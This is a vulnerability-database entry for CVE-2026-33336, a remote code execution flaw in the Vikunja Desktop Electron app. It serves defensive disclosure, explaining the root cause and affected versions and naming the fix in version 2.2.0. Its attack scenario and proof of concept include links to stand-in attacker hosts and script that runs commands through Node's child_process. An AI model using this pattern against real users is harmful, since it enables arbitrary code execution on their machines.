Skip to content
Fencer Intel
high 8.8

CVE-2026-33336 json

Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

published 7mo ago modified 4mo ago also EUVD-2026-14911

cvss
8.8
version 3.1, NVD
cisa kev
Not listed
not in CISA's catalog
epss
1.2%
EPSS 1.2% chance of exploitation in 30 days, percentile 67%
public exploits
0
none known

Summary

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

## Root cause

Two misconfigurations combine to create this vulnerability:

1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).

2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags

## Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user.

## Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

## Proof of concept

1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.

## Credits

This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).

Patch / fix

  • vikunja vikunja 2.2.0

Is CVE-2026-33336 in your stack? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CISA SSVC

Exploitation
Proof of concept is public
Automatable
no
Technical impact
total
Assessed
7mo ago

Exploit prediction

1.16% chance of exploitation in the next 30 days, higher than 67% of all scored CVEs (FIRST EPSS, 2026-11-09).

Exploits and checks

  • github.com https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf referenced PoC, tagged "exploit" by a source, unverified

CVSS scores

assigned by version score vector
CNA 4.0 6.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
CNA 4.0 6.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
NVD 3.1 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected products

  • go-vikunja vikunja

Classification

Weakness
  • CWE-94 Improper Control of Generation of Code

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

CPEs and fixed versions use Anchore's correction of NVD's data: Added CPE configurations because not yet analyzed by NVD.